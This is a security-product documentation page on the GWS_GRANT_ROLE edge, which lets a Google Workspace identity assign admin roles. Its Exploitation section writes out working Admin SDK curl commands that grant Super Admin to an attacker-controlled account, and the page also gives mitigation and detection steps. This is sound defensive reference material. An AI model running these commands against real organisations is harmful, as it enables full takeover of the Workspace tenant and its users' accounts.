> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/gcp/gws_grant_role.md).

# GWS\_GRANT\_ROLE

## Summary

|                            |                              |
| -------------------------- | ---------------------------- |
| **FSProtect ACL Alias**    | GWS\_GRANT\_ROLE             |
| **GCP Alias**              | IAM & Hierarchy Control      |
| **Affected Object Types**  | Users                        |
| **Exploitation Certainty** | Certain                      |
| **Granting Roles**         | Google Workspace Super Admin |

## Description

`GWS_GRANT_ROLE` indicates that a Google Workspace identity can assign admin roles to other users in the Google Workspace directory. Admin roles in Google Workspace grant access to the Admin Console, Google Workspace APIs, and can control user accounts, groups, devices, and organizational settings.

An attacker with this edge can escalate privileges by granting a Super Admin role (or any other privileged role) to an attacker-controlled account, effectively taking full control of the Workspace organization.

**Key abuse scenarios:**

* Grant Super Admin to an attacker-controlled account → full control of the Workspace directory.
* Grant User Management Admin → ability to reset passwords and impersonate any non-admin user.
* Grant Groups Admin → modify group memberships that inherit GCP IAM roles via `GWS_IN_GROUP`.

## Identification

### GCP Console

1. Open **Google Admin Console** (`admin.google.com`) → **Account** → **Admin roles**.
2. Click `Super Admin` role → **Admins** tab to see who holds the role.

### gcloud CLI

```bash
# List all admin role assignments via Admin SDK Reports API (Access token should be authorized on scope: https://www.googleapis.com/auth/admin.reports.audit.readonly)
ACCESS_TOKEN="your-access-token"
curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://admin.googleapis.com/admin/reports/v1/activity/users/all/applications/admin?eventName=ASSIGN_ROLE" \
  | jq '.items[]?.events[].parameters'
```

## Exploitation

### gcloud CLI

```bash
# Access token should be authorized on scope: https://www.googleapis.com/auth/admin.directory.rolemanagement
ACCESS_TOKEN="your-access-token"

# List available admin roles and their IDs
curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roles" \
  | jq '.items[]? | {roleId: .roleId, roleName: .roleName}'

# Grant Super Admin to an attacker-controlled account
ATTACKER_EMAIL="attacker@example.com"
SUPER_ADMIN_ROLE_ID="54321"  # roleId for _SEED_ADMIN_ROLE (Super Admin)

# Resolve the attacker's userId
USER_ID=$(curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://admin.googleapis.com/admin/directory/v1/users/${ATTACKER_EMAIL}" \
  | jq -r '.id')

# Assign the Super Admin role
curl -s -X POST \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"roleId\": \"$SUPER_ADMIN_ROLE_ID\", \"assignedTo\": \"$USER_ID\", \"scopeType\": \"CUSTOMER\"}" \
  "https://admin.googleapis.com/admin/directory/v1/customer/my_customer/roleassignments"
```

**Compound path:** `GWS_GRANT_ROLE` → grant Super Admin → [GWS\_RESET\_PASSWORD](https://docs.forestall.io/fsprotect/edges/gcp/gws_reset_password) on any user → account takeover → access Gmail, Drive, and all GCP resources the target user manages.

## Mitigation

1. **Restrict admin role assignment** to Super Admins only — prevent delegated admins from assigning roles above their own privilege level.
2. **Enforce phishing-resistant MFA (passkeys/security keys)** on all admin accounts.
3. **Use least-privilege admin roles** — avoid granting Super Admin when a more limited role suffices.
4. **Audit admin role assignments regularly** via Admin Console reports or the Admin SDK.

## Detection

| Log Type       | Method        | Key Fields                                 |
| -------------- | ------------- | ------------------------------------------ |
| Admin Activity | `ASSIGN_ROLE` | Admin audit log, `ROLE_NAME`, `USER_EMAIL` |

```bash
# Access token should be authorized on scope: https://www.googleapis.com/auth/admin.reports.audit.readonly
ACCESS_TOKEN="your-access-token"
curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://admin.googleapis.com/admin/reports/v1/activity/users/all/applications/admin?eventName=ASSIGN_ROLE" \
  | jq '.items[]? | {actor: .actor.email, time: .id.time, params: .events[].parameters}'
```

Alert on:

* New Super Admin role assignments.
* Admin role assignments made outside of change management workflows.
* Role assignments to accounts not in the organization's primary domain.

## References

* <https://knowledge.workspace.google.com/admin/users/create-edit-and-delete-custom-admin-roles>
* <https://developers.google.com/admin-sdk/directory/v1/guides/manage-roles>